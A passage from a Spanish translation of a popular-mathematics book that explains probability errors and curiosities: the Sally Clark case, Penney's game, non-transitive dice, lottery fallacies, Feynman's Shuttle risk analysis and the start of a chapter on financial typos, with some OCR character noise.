Kate y Chris se conocieron cuando estudiaban en la Universidad de
Sheffield, en 1993, y pocos afios después decidieron dar la vuelta al mundo.
Pasaron un tiempo en una granja en la parte occidental de Australia que era
propiedad de Jonny y Jill, parientes lejanos de Kate (el pariente comin mas
cercano era el tatarabuelo, pero las familias habian mantenido el contacto).
Jill sacé un album de fotos del tnico viaje que habia realizado a Inglaterra
porque en €l habia una foto tomada en algtin lugar que no sabia identificar.
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Al resto de fotos del album les habia puesto una etiqueta en la que
especificaba donde fueron tomadas, pero esta era la unica de la que Jill
desconocia la localizacion. Se la ensefi6 a la pareja y Chris reconocio que se
trataba de Trafalgar Square en Londres. Y afiadio: «jCaray! Ese tipo se parece
a mi padre. Y esa, se parece a mi madre. Y esa, a mi hermana. Y ese, soy yo».
La foto habia sido tomada en una de las dos unicas visitas que realizo a
Londres durante su infancia.

Imaginese atravesar medio mundo solo para ser recordado por lo que llevaba puesto de adolescente.

Kate y Chris llevan ahora ya dos décadas juntos y contaron la historia de
la fotografia en su boda como prueba de que estaban destinados a estar juntos.
Creo que deberian saber que es asombroso que tengan una fotografia y una
historia con estas. La mayoria de nosotros no las tenemos. Pero no
deberiamos asombrarnos de que le suceda a alguien.

Un pensamiento un poco triste afiadido: no se olvide de que, por cada foto
de este tipo que se encuentra, hay muchas mads que pasan inadvertidas. Y
muchas, muchas mas que estuvieron a punto de ser tomadas, pero alguien
dispar6 un poquito antes o después del momento perfecto. No se sienta
decepcionado por no tener una de estas fotos milagrosas: hagalo porque es
mucho mas probable que haya pasado junto a una futura pareja sin ni siquiera
haberse dado cuenta de ello.
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Asimismo, solo porque algo ocurra una vez no significa que sea probable que
vuelva a ocurrir. Puede haber sido solo una observacion afortunada de un suceso
poco probable. Hubo un concurso que duré poco en el Reino Unido hace unos afios
que se basaba en fundamentos matematicos inciertos y en los que la primera prueba
sali6 bien por casualidad. No diré el nombre del programa ni del matematico amigo
de un amigo mio que era el asesor, pero vale la pena contar la historia.

En el concurso, cada participante tenia como objetivo ganar una cantidad de
dinero asignada como premio, y para ello tenia que superar un proceso bastante
enrevesado. Cuando el asesor matematico hizo los nimeros, descubri6 que los
resultados de cada juego estaban determinados casi por completo por el tamafio del
objetivo. Si el objetivo era demasiado alto, habia muy pocas posibilidades de que el
concursante ganara, incluso aunque se utilizara una estrategia 6ptima. Si el objetivo
era bajo, el concursante ganaria facilmente. No era muy divertido ver un concurso
en el que la estrategia utilizada por el concursante no influia en el resultado.

Sin embargo, los productores decidieron ignorar las matematicas. Uno de ellos
dijo que habia probado el juego hacia poco en una reunién familiar en la que su
abuela se lo pas6 muy bien jugando y en el que ademds gané las cantidades mas
altas unas cuantas veces. ¢Y a quién tendriamos que creer? ;A un andlisis
comprensivo de las probabilidades y de los resultados esperados del concurso o a
unas pocas partidas jugadas por la abuela de alguien? Ellos se decantaron por la
abuelita y el programa se cancel6 a mitad de temporada después de que se
emitieran solo los primeros episodios porque nadie gan6 el premio mas elevado.

Por lo que resulta que la estrategia 6ptima es escuchar a los consejeros
matematicos que has contratado para que calculen las probabilidades por ti. Porque
puede que, simplemente, lo que ocurra sea que tienes una abuela muy afortunada.

o J

Un error estadistico grave

En 1999, una mujer britanica fue sentenciada a cadena perpetua por los
asesinatos de dos de sus hijos. Sin embargo, las dos muertes podrian haber
sido completamente accidentales: cada afio, mueren en el Reino Unido casi
trescientos bebés de forma inesperada por el llamado sindrome de muerte
subita del lactante (SMSL). Durante el juicio, el jurado tuvo que decidir si era
culpable de asesinato mas alla de toda duda razonable. ;Fue ella la homicida
o la victima de este caso tan impactante? Al jurado le presentaron estadisticas
que parecian implicar que el hecho de que los dos hermanos hubieran muerto
debido al SMSL era muy poco probable. El veredicto fue de culpabilidad (con
una mayoria de diez a dos), pero la condena de la acusada fue revocada mas
adelante.

En el juicio se presentaron estadisticas erroneas que dieron la falsa
impresion de que habia tan solo un 0,0000014% de probabilidades (alrededor
de una entre 73 millones) de que dos bebés de una misma familia murieran
por culpa del SMSL. La Royal Statistical Society afirmé que no existia
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«ninguna base estadistica» que respaldara esta cifra y se mostraba preocupada
por el «mal uso de las estadisticas en los tribunales de justicia».

Después de la segunda apelacion, presentada en 2003, la sentencia fue
anulada cuando la mujer ya habia pasado tres afios en la carcel. ;Como
pudieron las matematicas equivocarse tanto para condenar a una mujer
inocente? La acusacion habia aceptado que la probabilidad de la muerte subita
del lactante en una familia como la de esta mujer era de una entre 8.543 y
multiplico ¥4 543 por Y4 543 para calcular la probabilidad de que se produjeran
los dos fallecimientos.

Hay una larga lista de razones por las que esto no es correcto, pero la
principal es que las dos muertes subitas de lactantes no son independientes.
En matematicas, si dos sucesos son independientes, se pueden multiplicar sus
probabilidades para hallar la probabilidad de que se produzcan ambos. Las
probabilidades de sacar el as de picas de un mazo de cartas son de V%, y las de
sacar cara cuando tiras una moneda al aire son de %:. El hecho de tirar la
moneda no afecta de ninguna manera a la baraja de cartas, por lo que
podemos multiplicar Y5, por ¥ para obtener la probabilidad combinada de
que sucedan ambas cosas, en este caso ¥g,.

Si dos sucesos no son independientes, nada de lo dicho anteriormente
sirve. O al menos, hay que reexaminarlo minuciosamente. Menos del 1% de
la poblacion de Estados Unidos es mas alta de 190 centimetros. Por lo que, si
escogemos personas al azar en Estados Unidos, menos de uno de cada cien
tendra esa estatura. Pero si elegimos al azar un jugador de baloncesto
profesional de la NBA, la probabilidad es muy diferente. La altura y jugar al
baloncesto profesional estan vinculados: el 75% de los jugadores de la NBA
sobrepasan esa estatura. Las probabilidades cambian si un factor relacionado
ya ha sido seleccionado. En el SMSL intervienen posibles factores genéticos
y ambientales, por lo que la probabilidad de que suceda en una familia que ya
ha padecido una tragedia como esa sera diferente a la probabilidad de la
poblacién en general.

Y las probabilidades que no son independientes no se pueden multiplicar
entre si para obtener la probabilidad combinada. Alrededor del 0,00016% de
las personas que viven en Estados Unidos juega en la NBA (522 jugadores en
la temporada 2018-2019 frente a una poblacién de 327 millones). Multiplicar
ingenuamente esa cifra por el 1% de probabilidades de medir mas de 190
centimetros da una probabilidad combinada de uno por cada 63 millones de
que un miembro aleatorio de la poblacion juegue en la NBA y tenga esa
estatura. Pero esas probabilidades no son independientes, y la cifra incorrecta
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refleja incorrectamente que es mucho menos probable de lo que realmente es.
La probabilidad real es una entre 830.000.

Al jurado le dijo un testigo experto que la probabilidad combinada de que
se produzcan dos casos de SMSL en la misma familia era una entre 73
millones, por lo que condenaron a una mujer que mas tarde fue exonerada.
Ese testigo experto fue hallado culpable de conducta profesional indebida por
el Consejo Médico General por insinuar incorrectamente que las muertes
fueron independientes.

Comprender el tema de las probabilidades es complicado para los
humanos. Pero en casos de alto riesgo como este, tenemos que hacerlo bien.

Monedas y dados al aire

Es facil engafiar a los humanos con las probabilidades. Los siguientes son dos
juegos en los que la gente se equivoca sistematicamente. No dude en usarlo
para engafiar a cualquier humano de su eleccion.

El primero esta basado en el lanzamiento (completamente justo) de una
moneda. En este caso, «justo» significa que las caras y las cruces tienen las
mismas probabilidades (si cayera de canto habria que volverla a lanzar). Por
lo que, si la apuesta es que la moneda le saldra cara (C) a usted y cruz (X) a
mi, podemos asegurar que es completamente justa: ambos tenemos las
mismas probabilidades de ganar. Pero un solo lanzamiento es aburrido. Asi
que hagamoslo mas interesante. Apostemos tres lanzamientos seguidos; por
ejemplo, usted apuesta CXC y yo XCC. A continuacién, lanzamos la moneda
repetidas veces hasta que se produzca una de esas secuencias. ;No le gusta su
predicciéon de CXC? No pasa nada. Elija cualquier opcién de las ocho
posibles que aparecen abajo y junto a ella vera cual es la mia. Empezamos a
lanzar la moneda. Si yo gano, asegurese de pagarme.
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A la derecha puede ver una lista de porcentajes. No hay necesidad alguna
de que se preocupe de esa columna. Son tan solo las probabilidades que hay
de que usted gane. Se habra dado cuenta de que todas ellas estan por debajo
del 50%. Sin embargo, mientras usted elija primero, siempre podré hacer una
prediccion que tenga mas probabilidades de ser la ganadora. EI mejor
escenario para mi es cuando mi oponente siempre opta por la misma, o sea,
CCC o0 XXX, lo que le otorga un 12,5% de posibilidades de ganar y a mi un
87,5%. Incluso si supongo que mi oponente elige su secuencia al azar, por
término medio tengo un 74% de posibilidades de ganar.

La primera vez que vi este juego, mi limitado cerebro no le vio el sentido.
Cada lanzamiento de la moneda era independiente, aunque algo extrafio
ocurria con las predicciones de tres lanzamientos seguidos. El secreto esta en
el hecho de que la moneda se lanza continuamente hasta que una de las
secuencias predichas se produce. Si la moneda se lanzase tres veces para
obtener un resultado y luego se volviese a tirar tres veces para obtener el
siguiente, los resultados finales serian independientes. Pero, si los dos tltimos
lanzamientos de un turno de tres forman los dos primeros lanzamientos del
siguiente resultado, los resultados se superponen entre si y ya no son
independientes.
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Fijese en mis predicciones: mis dos ultimas elecciones son las mismas que
las dos primeras de mi oponente. Mi objetivo es bloquearle el movimiento.
Esta claro que un jugador podria ganar los tres primeros lanzamientos de la
moneda (un 12,5% de probabilidades para cada persona), pero después de que
la serie ganadora de caras y cruces fuera precedida por una serie de tres que se
superponga con ella. Yo quiero elegir ese grupo precedente. Para algo como
XXX, o tenian que ser los tres primeros lanzamientos o sin duda serian
vencidos por CXX, que aparece justo antes. Una secuencia de tres cruces
siempre tendra una cara justo antes que ella, lo que hace que CXX vaya antes
que XXX. El juego esta amafiado. Este es un juego conocido como juego de
Penney y se ha utilizado para separar a los humanos de su dinero durante
afios.
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La gente cae en el juego de Penney porque todas las opciones de tres caras
y cruces tienen una combinacion diferente que tiene mas posibilidades de

ganar. Es inquietante que no exista una mejor opcion para elegir que tenga
mas probabilidades de ganar que el resto. Pero esa rareza concreta es la base
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del juego piedra, papel o tijera. Cualquier opcién elegida puede ser vencida
por una de las demas opciones.

Esta es la diferencia entre las relaciones transitivas y no transitivas. Una
relacion transitiva es una que puede ser transmitida a lo largo de una cadena.
El tamafio de los nimeros reales es transitivo: si nueve es mayor que ocho, y
ocho es mayor que siete, entonces podemos suponer que nueve es mayor que
siete. Ganar en piedra, papel o tijera es no transitivo. Las tijeras vencen al
papel y el papel vence a la piedra, pero eso no implica que las tijeras venzan a
la piedra.

XC X w235 CCC
XCC ¥

Xxc CCX

(] <o of

CXX
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El segundo juego basado en las probabilidades que puede utilizar para
engaflar a los humanos fue inventado por el matematico James Grime.
Desarroll6 un conjunto de dados no transitivos que ahora llevan su nombre:
dados de Grime (que acaba de convertirse en el segundo mejor nombre para
una boy band que aparece en este libro). Tienen cinco colores (rojo, azul,
verde, amarillo y magenta) y los puede utilizar para jugar al juego de «El
numero mas alto gana». Usted y su oponente eligen un dado cada uno y lo
lanzan al mismo tiempo para ver quién saca el numero mas alto. Pero para
cada dado hay un dado de otro color que le ganara la mayoria de las veces.

Por término medio: el rojo gana al azul; el azul al verde; el verde al
amarillo; el amarillo al magenta y el magenta al rojo. Mi contribucion al dado
fue esperar a que James averiguara los nimeros y luego sugerirle un rango de
colores que sirviera de ayuda para recordar el orden rojo-azul-verde-amarillo-
magenta; en inglés, cada color tiene una letra mas que el anteriorl4l. Ahora
deje que primero su oponente elija su color y luego escoja el dado que, en
inglés, tiene menos letras (rojo, red en inglés tiene 3, pierde con magenta, que
en inglés es igual que en castellano y tiene 7).
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Si utiliza estos dados para ganar rondas de bebida y dinero de sus amigos
y familiares, puede que finalmente tenga que confesarles que no son
transitivos. Puede que incluso les ensefie el orden de los dados. Pero
sugiérales luego duplicar el juego y lanzar dos dados del mismo color a la
vez.
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Porque cuando los dados se tiran de dos en dos se invierte el orden de cual
gana a cual. En lugar de rojo gana a azul, azul gana ahora a rojo con mas
frecuencia, y asi sucesivamente. Si usted va primero, su oponente seguira
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utilizando el sistema que establecia el orden al tirar un solo dado y elegira un
color que muy probablemente perdera contra el suyo.

Los dados no transitivos son relativamente nuevos en el mundo de las
matematicas. Aparecieron en la escena matematica en la década de 1970, pero
rapidamente causaron un gran impacto. El inversor multimillonario Warren
Buffett es un gran aficionado de los dados no transitivos y los sac6 cuando
conoci6 al también multimillonario de la informatica Bill Gates. Segun
cuentan, Gates empezo6 a sospechar cuando Buffett insistio en que él eligiera
primero los dados, y, después de una inspeccion minuciosa de los ntiimeros,
insistio en que Buffett escogiera primero. El vinculo entre que te gusten los
dados no transitivos y ser multimillonario debe ser solo una correlacion y no
una causalidad.

La contribucion de James Grime al mundo no transitivo fue que sus dados
tenian dos ciclos posibles de no transitividad, pero con solo uno de ellos que
se invertia cuando duplicabas el nimero de dados!!®l. Al renombrar el dado
verde a «oliva» (olive en inglés), el segundo ciclo se podia recordar por el
orden alfabético de los colores. En teoria, utilizando ambos ciclos, puede
permitir que otras dos personas escojan el color de sus dados y, mientras
usted pueda elegir la version que se juega (la de uno o la de dos dados),
ganara a ambos oponentes simultaneamente mas veces que las que perdera.

Me gustaria poder decir que detras de todo esto hay unas asombrosas
matematicas, pero no es asi. James decidié las propiedades que queria que
tuvieran los dados y se pas6 muchisimo tiempo averiguando qué numeros
permitirian que eso sucediera. Si usted me diera dos dados diferentes de seis
caras con unos nimeros elegidos por usted de forma aleatoria entre cero y
nueve, yo podria encontrar un tercer dado para completar mas de un tercio de
las veces un bucle no transitivo. Las matematicas son asombrosas solo porque
pillan al cerebro humano con la guardia bajada. Pero les advierto: los cerebros
humanos son rapidos a la hora de guardar rencor si les ganan demasiadas
bebidas.

Para no ganar tienes que participar

No hay nada que podamos hacer para incrementar nuestras probabilidades de
ganar la loteria primitiva mas que comprar mas boletos. Un momento, seré
mas especifico: comprar mas boletos con nimeros diferentes. Si compra
varios boletos con los mismos nuameros, no estara aumentando sus
probabilidades de ganar. Pero si gana con varios boletos y tiene que compartir
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el premio, ganara una porcion mayor. Por lo que es una forma de ganar mas
dinero, pero no de tener mas probabilidades de hacerlo.

Pero seguro que nadie ha ganado la loteria primitiva con varios nimeros
iguales... excepto Derek Ladner, que en 2006 y de forma accidental, compré
su boleto de la loteria del Reino Unido dos veces. Ganaron otras tres
personas, pero en lugar de obtener una cuarta parte del bote de 2,5 millones
de libras, se llevo dos quintas partes. Reclamo6 su primera quinta parte cuando
todavia no se habia dado cuenta de que tenia otro boleto ganador... Y Mary
Wollens, quien deliberadamente habia comprado dos boletos idénticos de una
loteria canadiense (también en 2006) y se llevd a casa dos terceras partes de
un premio de 24 millones de délares en lugar de solo la mitad... Y el marido
y la esposa que en 2014 compraron cada uno de ellos su boleto habitual de la
loteria del Reino Unido sin decirselo al otro (acertaron cinco de seis numeros
y el complementario)... Y Kenneth Stokes, en Massachusetts, quien jugd con
sus numeros habituales a la Loteria Lucky for Life, a pesar de que su familia
le habia comprado un boleto anual.

Pero si quiere incrementar sus probabilidades de ganar, necesita comprar
dos boletos diferentes. No es una decision inteligente econémicamente
hablando. En general, cada vez que compra un boleto de loteria esta
perdiendo dinero. La licencia actual concedida por la Comision del Juego de
Gran Bretaia a Camelot UK Lotteries Limited estipula que el 47,5% del
dinero gastado en boletos de loteria se ha de devolver en forma de premios (lo
normal es que los premios fluctien semana a semana). Este es el retorno
esperado. Por cada libra que se gasta un jugador en un boleto de loteria, puede
esperar recuperar 47,5 peniques en premios.

Pero la gente no juega porque espere recuperar esa cantidad. Gestionar
una loteria es en realidad distribuir los premios con una desviacion respecto al
retorno esperado tan grande como sea viable. Podria presentar una oferta
competidora por una licencia de la loteria nacional y vender mas barato que
Camelot al recortar drasticamente los costes administrativos. Mi plan es que,
cuando la gente comprase un boleto de 2 libras, la persona al cargo del punto
de venta solo les diera los 95 peniques del retorno esperado alli y en ese
momento. Eso recorta los gastos administrativos y ni siquiera me tendria que
molestar en extraer los nimeros dos veces por semana.

Es un ejemplo ridiculo y extremo, pero sirve para hacerse una idea: la
gente no quiere su retorno esperado, quieren tener la oportunidad de obtener
mas que lo que han gastado. De acuerdo, entonces cada tercer cliente obtiene
2,85 libras y todos los demas no reciben nada. O cada cuarto boleto recibe
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3,80 libras. ;Cuando se puede decir que se ha desequilibrado lo suficiente el
reparto de premios? ;Deberian todos los centésimos clientes obtener 95
libras? Hay otros concursos, como los que consisten en rascar tarjetas, que
operan segun este sistema de premios (y, de hecho, tienen mayores retornos
esperados), pero la loteria ha decidido desequilibrarnos a nosotros.

En 2015, Camelot hizo que fuese mas dificil ganar la loteria. En lugar de
elegir seis numeros de un total de cuarenta y nueve, lo cambiaron para que
hubiese que elegir seis de cincuenta y nueve. En uno de mis ejemplos
favoritos de siempre de publicidad sesgada, lo vendian promocionando que
habia «mas numeros para elegir». jAja! La realidad es que ahora habia mas
nimeros que un jugador no elegiria, recortando drasticamente sus
probabilidades de ganar. Elegir seis numeros de cuarenta y nueve tiene unas
probabilidades de uno entre 13.983.816 de ganar el premio maximo, mientras
que al elegir seis de cincuenta y nueve, las probabilidades son de uno entre
45.057.474. Si anadimos que uno de los premios nuevos y mas bajos era un
boleto gratis para el siguiente sorteo (yo lo gané), las probabilidades de ganar
por boleto comprado eran de uno entre 40.665.099. En esa época, dije que
habia mas probabilidades de que un ciudadano del Reino Unido escogido al
azar tuviera como padre al principe Carlos. Es altamente improbable.

A pesar de todo esto, diria que las nuevas probabilidades reducidas de
ganar convertian a la loteria en un producto mejor. El premio medio no habia
cambiado, simplemente habian decidido destinar mucho mas a menos
personas. Los cambios en las reglas dieron como resultado mas botes
acumulados, lo que hacia que hubiera premios mucho mayores, la clase de
premios que llaman la atencion de los medios de comunicacion. Y la gente no
compra boletos de loteria por el premio promedio, estan comprando el
derecho a sofar. Tener alguna probabilidad de ganar un premio que te
cambiaria la vida le permite a cualquiera sofiar con esa version de su
existencia. Cuanta mas publicidad obtenga una loteria y cuanto mas grandes
sean sus premios, mayores seran esos suefios. Lo que hace de ella,
l6gicamente, un mejor producto.

Cuestion de bolas

En internet, hay personas que intentan vender sus secretos para ganar la
loteria. Una gran parte de la pseudociencia sobre los sorteos de la loteria
intenta hacerse pasar por matematica y no suele ser mas que una variacion de
la falacia del jugador. Esta falacia logica consiste en que, si algiin suceso
aleatorio no se ha producido durante un tiempo, entonces «debe» ocurrir. Pero
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si, los sucesos son de verdad aleatorios e independientes, entonces su
resultado no puede ser mas o menos probable basandose en lo que ha
sucedido previamente. Sin embargo, la gente les sigue la pista a los nimeros
que no han salido recientemente en la loteria para ver cuales deben aparecer.

Esto alcanzo su punto algido en 2005, en Italia, cuando al nimero 53 no
se le veia el plumero desde hacia mucho tiempo. La loteria italiana de 2005
era algo diferente a la de otros paises: tenian diez sorteos diferentes (a los que
se les daba nombres de diferentes ciudades) en cada uno de los cuales los
participantes escogian cinco nimeros de noventa posibles. A diferencia de lo
que es habitual, los jugadores no tenian que escoger un conjunto completo de
numeros. Podian optar por apostar porque saliera un Unico ndmero en un
determinado sorteo. Y el numero 53 no habia salido en el sorteo Venecia
desde hacia dos afios.

Un monton de personas creyeron que la bola 53 tenia que salir. Se
gastaron al menos 3.500 millones de euros en boletos con el numero 53; eso
son 227 euros por familia en Italia. La gente pedia prestado dinero para
apostar por el 53 aunque seguia sin salir, y eso, al parecer, hacia que cada vez
estuviera mas obligado a hacerlo. Los que tenian un sistema siguieron
subiendo su apuesta semanalmente, por lo que, cuando por fin saliera el 53,
recuperarian todas las pérdidas anteriores. L.os jugadores se arruinaban y, en
el periodo previo a que finalmente saliera el 53, el 9 de febrero de 2005,
murieron cuatro personas (un suicidio solitario y otro que también se llevo
por delante la vida de su familia).

En Italia hay incluso un buen niumero de personas que creen, como si se
tratase de algo sagrado, que ningun numero puede estar mas de 220 sorteos
sin salir. Lo llaman «maximo retraso» (o mas bien, el ritardo massimo) y se
basa en los escritos de principios del siglo xx de Samaritani. El matematico
Adam Atkinson, junto a otros académicos italianos, fue capaz de hacer
ingenieria inversa de la féormula Samaritani para demostrar que este habia
descubierto una buena estimacion de cual seria la tirada mas larga esperada
entre sorteos de cualquier nimero dado (para la loteria de la época). De algtn
modo, este calculo se fue transformando con el paso de las generaciones,
convirtiéndose en un supuesto limite magico estricto para cualquier loteria.

Otra cosa que ocurre es que la gente piensa erroneamente que los
resultados recientes tienen menos probabilidades de volver a salir. He visto
consejos en internet diciendo cosas como «No elija nimeros que han ganado
el gran bote con anterioridad» y «Usar una combinacion que nunca ha salido
hara que sus posibilidades sean mas altas», y no son mas que chorradas.
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En 2009, en la loteria bulgara salieron los mismos numeros: 4, 15, 23, 24,
35y 42 en dos sorteos seguidos, el 6 y el 10 de septiembre. Salieron en un
orden diferente, pero, en una loteria, el orden no importa. Aunque parezca
increible, nadie gané el bote la primera vez que salieron, pero, a la semana
siguiente, dieciocho personas optaron por esa combinacion con la esperanza
de que saldria de nuevo. Las autoridades bulgaras abrieron una investigaciéon
para comprobar que no habia pasado nada inapropiado, pero los
organizadores de la loteria dijeron que solo habia sido el azar. Y tenian razon.

La Unica estrategia legitima matematica de la que disponemos es elegir
nimeros que sea menos probable que hayan sido elegidos por otras personas.
Los humanos no somos muy creativos a la hora de elegir numeros. El 23 de
marzo de 2016, los niimeros ganadores de la loteria del Reino Unido fueron 7,
14, 21, 35, 41 y 42. Todos, menos uno, multiplos de siete. Una increible
cantidad de gente (4.082 personas) acertd cinco numeros esa Semana
(seguramente, los cinco multiplos de siete; Camelot no publica los
resultados), por lo que el premio en metalico tuvo que ser compartido entre
unas ocho veces mas de personas de lo habitual: solo obtuvieron 15 libras
cada uno (jmenos que las 25 libras que recibié la gente que acert6 tres
numeros!). Se cree que, en el Reino Unido, alrededor de unas diez mil
personas escogen 1, 2, 3, 4, 5 y 6 cada semana. Si alguna vez salieran, los
ganadores no recibirian un gran premio. Ni siquiera tendrian una historia
divertida que contar.

Unos buenos consejos son: escoger nimeros que no formen parte de una
secuencia obvia, que no formen parte de alguna fecha (se suelen escoger
cumpleafios, aniversarios, etc.) y que no se ajusten a ninguna expectativa
equivocada de qué nimeros «tienen» que salir. Asi, si juega a la loteria
primitiva semanalmente durante millones de afios (podria esperar ganarla una
vez cada 780.000 afios), en las ocasiones en las que gane, 1o mas seguro es
que tendra que compartirlo con menos gente. Lamentablemente, no es una
estrategia que ayude mucho en la escala temporal que dura una vida humana.

Asi que el mejor consejo es, si juega a la loteria primitiva, que
simplemente escoja los numeros que quiera. Creo que la unica ventaja de
escoger numeros aleatorios con alta entropia es que parecen los numeros
ganadores la mayoria de las semanas, lo que ayuda a mantener viva la ilusién
de que podemos ganar. Y, al final del dia, esa ilusion de poder ganar es lo que
realmente estamos comprando.

Un probable resumen
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Mantengo una relacion dificil con las probabilidades. No existe otra area de
las matematicas en las que me sienta tan inseguro respecto a mis calculos
como me ocurre cuando estoy averiguando las probabilidades de que algo
ocurra. Incluso aunque se trate de algo cuyas probabilidades son calculables,
como la probabilidad de tener una mano complicada jugando al poker,
siempre me preocupa haberme olvidado de tener en cuenta determinado caso
0 matiz. Para ser sincero, creo que seria mucho mejor jugador de poker si me
olvidara de mis calculos y me fijara mas en el resto de jugadores; podrian
estar sudando profusamente y no me enteraria, ya que estoy muy ocupado
intentando calcular cuantas manos distintas pueden salir.

Y la probabilidad es un area de las matematicas en la que la intuicion,
ademas de fallarnos, por regla general se equivoca. Hemos evolucionado para
sacar conclusiones probabilisticas apresuradas que nos dan las mejores
probabilidades de supervivencia, no las que nos dan los resultados mas
precisos. En mi version imaginaria de dibujos animados de la evolucion
humana, los falsos positivos de suponer que hay un peligro cuando no lo hay
no suelen ser castigados con tanta severidad como cuando un humano
subestima un riesgo y es comido. La presion de seleccion no recae sobre la
precision. Equivocado y vivo es mejor, evolutivamente, que acertado y
muerto.

Pero nos debemos a nosotros mismos intentar calcular estas
probabilidades lo mejor que podamos. Esto es a lo que Richard Feynman se
tuvo que enfrentar durante la investigacion del desastre del transbordador. Los
administradores y la gente de las altas esferas de la NASA decian que cada
lanzamiento del transbordador solo tenia una entre 100.000 probabilidades de
que se produjera un desastre. Pero, para Feynman, eso no sonaba bien. Se dio
cuenta de que eso significaria que podria producirse un lanzamiento de un
transbordador cada dia durante trescientos afios y se produciria un unico
desastre.

Casi nada es tan seguro. En 1986, el mismo afio de la tragedia del
transbordador, se produjeron 46.087 muertes en las carreteras de Estados
Unidos, aunque los estadounidenses condujeron un total de
2.958.360.514.560 kilémetros ese afio. Lo que significa que un viaje de unos
640 kilémetros tuvo una probabilidad de una entre cien mil de acabar mal (a
modo de comparacién, en 2015 la cifra fue de 1.419 kilometros). El del
transbordador era un viaje espacial con tecnologia punta, lo cual implica que
siempre sera mas peligroso que conducir 640 kilémetros en coche. Las
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probabilidades de una entre cien mil no eran un calculo sensato de la
probabilidad.

Cuando Feynman les pregunto a los ingenieros y al personal que trabajaba
con el transbordador espacial cuales eran las probabilidades de que se
produjese un desastre en cualquier vuelo, dieron respuestas que iban desde
una entre cincuenta a una entre trescientos. Eso es muy diferente a lo que los
fabricantes (una entre diez mil) y la direccion de la NASA (una entre cien
mil) pensaban. En retrospectiva, ahora sabemos que, de los 135 vuelos (antes
de que en 2011 se cerrase el programa del transbordador), dos de ellos
acabaron mal. Una proporcion de uno entre 67,5.

Feynman se dio cuenta de que uno entre cien mil era mas producto de la
ilusion o el deseo de la direccion que de un calculo meditado. Parecia que
pensaban que si el transbordador iba a transportar humanos, necesitaba ser asi
de seguro para que todo se construyera de tal forma que cumpliera con ese
proposito. No solo se trata de como funcionan las probabilidades, sino de
como pudieron calcular esas probabilidades tan bajas.

El motor principal del transbordador espacial es una mdquina extraordinaria. Tiene una
relaciéon empuje-peso mayor que cualquier motor anterior. Se ha desarrollado en el limite de, o
incluso mas all4, de la experiencia previa de la ingenieria. Por lo tanto, como era de esperar,
han aparecido muchas clases diferentes de defectos y dificultades

Es cierto que, si las probabilidades de fracaso eran tan bajas como 1 entre 100.000, se
habria necesitado un nimero desorbitado de pruebas para determinarlas (no habrian tenido nada
mas que una sucesioén de vuelos perfectos de la que no se puede sacar ninguna conclusién
precisa, solo que las probabilidades son probablemente menores que el nimero de vuelos de las
pruebas).

Apéndice F: Observaciones personales sobre

la fiabilidad de la lanzadera por R. P. Feynman,
Informe para el Presidente, realizado por la
COMISION PRESIDENCIAL sobre el accidente
del transbordador Challenger, 6 de junio de 1986.

Lejos de haber conseguido una serie de pruebas exitosas, la NASA estuvo
observando sefiales de posibles fallos durante los test. También se produjeron
algunos fallos no criticos durante lanzamientos reales que no causaron ningun
problema en el vuelo mismo, pero si que demostraron que las probabilidades
de que las cosas pudieran no salir bien eran mas altas de lo que la NASA
queria admitir. Habian calculado sus probabilidades basandose en lo que
querian y no en lo que estaba ocurriendo realmente. Pero los ingenieros
habian utilizado las evidencias de las pruebas para intentar calcular cual era el
riesgo real, y estaban cerca de lo correcto.
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Cuando los seres humanos nos esforzamos realmente en ello y no
permitimos que nuestro juicio se nuble por lo que la gente quiere creer,
podemos llegar a ser muy buenos en el tema de las probabilidades. Si
queremos. ..
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Ocho

INVERSIONES Y ERRORES

¢Qué cuenta como error en las finanzas? Por supuesto, hay casos obvios,
cuando simplemente se equivocan con los nimeros. El 8 de diciembre de
2005, la empresa de servicios de inversion japonesa Mizuho Securities envio
una orden a la bolsa de Tokio para vender una sola accion de la compafiia J-
COM Co. Ltd. por 610.000 yenes (alrededor de 4.300 euros de la época).
Bien, pensaron que estaban vendiendo una accién por 610.000 yenes, pero la
persona que tecleo la orden intercambi6 accidentalmente los numeros y envid
una orden de venta de 610.000 acciones por 1 yen cada una.

Intentaron cancelarla a toda prisa, pero la bolsa de Tokio fue reticente.
Otras empresas estaban comprando las acciones rebajadas y cuando la
transaccion se suspendio al dia siguiente, Mizuho Securities habia perdido 27
mil millones de yenes (algo mas de 190 millones de euros de la época). Fue
descrito como el error «de los dedos gordos». Yo hubiera optado por algo mas
del estilo de «dedos distraidos» o «dedos que deberian aprender a comprobar
dos veces todos los datos importantes que teclean, pero es probable que aun
asi los hayan despedido».

Las secuelas del error fueron de largo alcance: creci6 la desconfianza en
toda la bolsa de Tokio y el indice Nikkei caydé un 1,95% en un solo dia.
Algunas, aunque no todas, las empresas que compraron las acciones rebajadas
se ofrecieron a devolverlas. Una resolucion posterior del Tribunal del Distrito
de Tokio culp6 en parte a la bolsa porque su sistema no permitié que Mizuho
cancelase la orden errénea. Esto solo sirve para confirmar mi teoria de que
todo es mucho mejor si hay una tecla de «cancelar».

Este es el equivalente numérico de una errata. Ese tipo de errores es tan
antiguo como la civilizacion. Me gustaria decir felizmente que el auge de la
civilizacion se produjo gracias al dominio de las matematicas: a menos que
seas capaz de realizar correctamente un montén de calculos matematicos, la
logistica necesaria para que los humanos vivan juntos a una escala de una
ciudad es imposible. Y, desde que los humanos hacen matematicas, estas han
venido acompafiadas de errores numéricos. El texto académico Archaic
Bookkeeping fue fruto de un proyecto de la Universidad Libre de Berlin. Es
un analisis de los primeros textos escritos jamas descubiertos: los textos

Pagina 147



protocuneiformes compuestos por simbolos rayados en tablas de arcilla. Atn
no era un lenguaje completamente formado, sino mas bien un sistema
elaborado para llevar una contabilidad. Lleno de errores.

Estas tablas de arcilla proceden de la ciudad sumeria de Uruk (al sur del
actual Irak) y su origen data de entre 3400 y 3000 a. e. c., es decir, hace unos
cinco mil afios. Parece ser que los sumerios no desarrollaron la escritura para
comunicar prosa, sino mas bien para llevar un registro de los niveles de
existencias. Es un ejemplo muy temprano de las matematicas haciendo
posible que el cerebro humano haga algo mas aparte de aquello para lo que
estaba construido. En un pequefio grupo de humanos puedes llevar un registro
de quién posee qué en tu cabeza y realizar intercambios basicos. Pero, cuando
tienes una ciudad, con todos los impuestos y propiedades compartidos que
requiere, necesitas una forma de mantener registros externos. Y los registros
escritos ofrecen confianza entre dos personas que tal vez no se conozcan entre
ellas. (Ironicamente, la escritura en linea esta eliminando esa confianza entre
las personas, pero no nos adelantemos.)

Algunos de los documentos antiguos de Sumeria estaban escritos por una
persona que al parecer se llamaba Kushim y estaban firmados por su
supervisor, Nisa. Algunos historiadores creen que Kushim es el primer
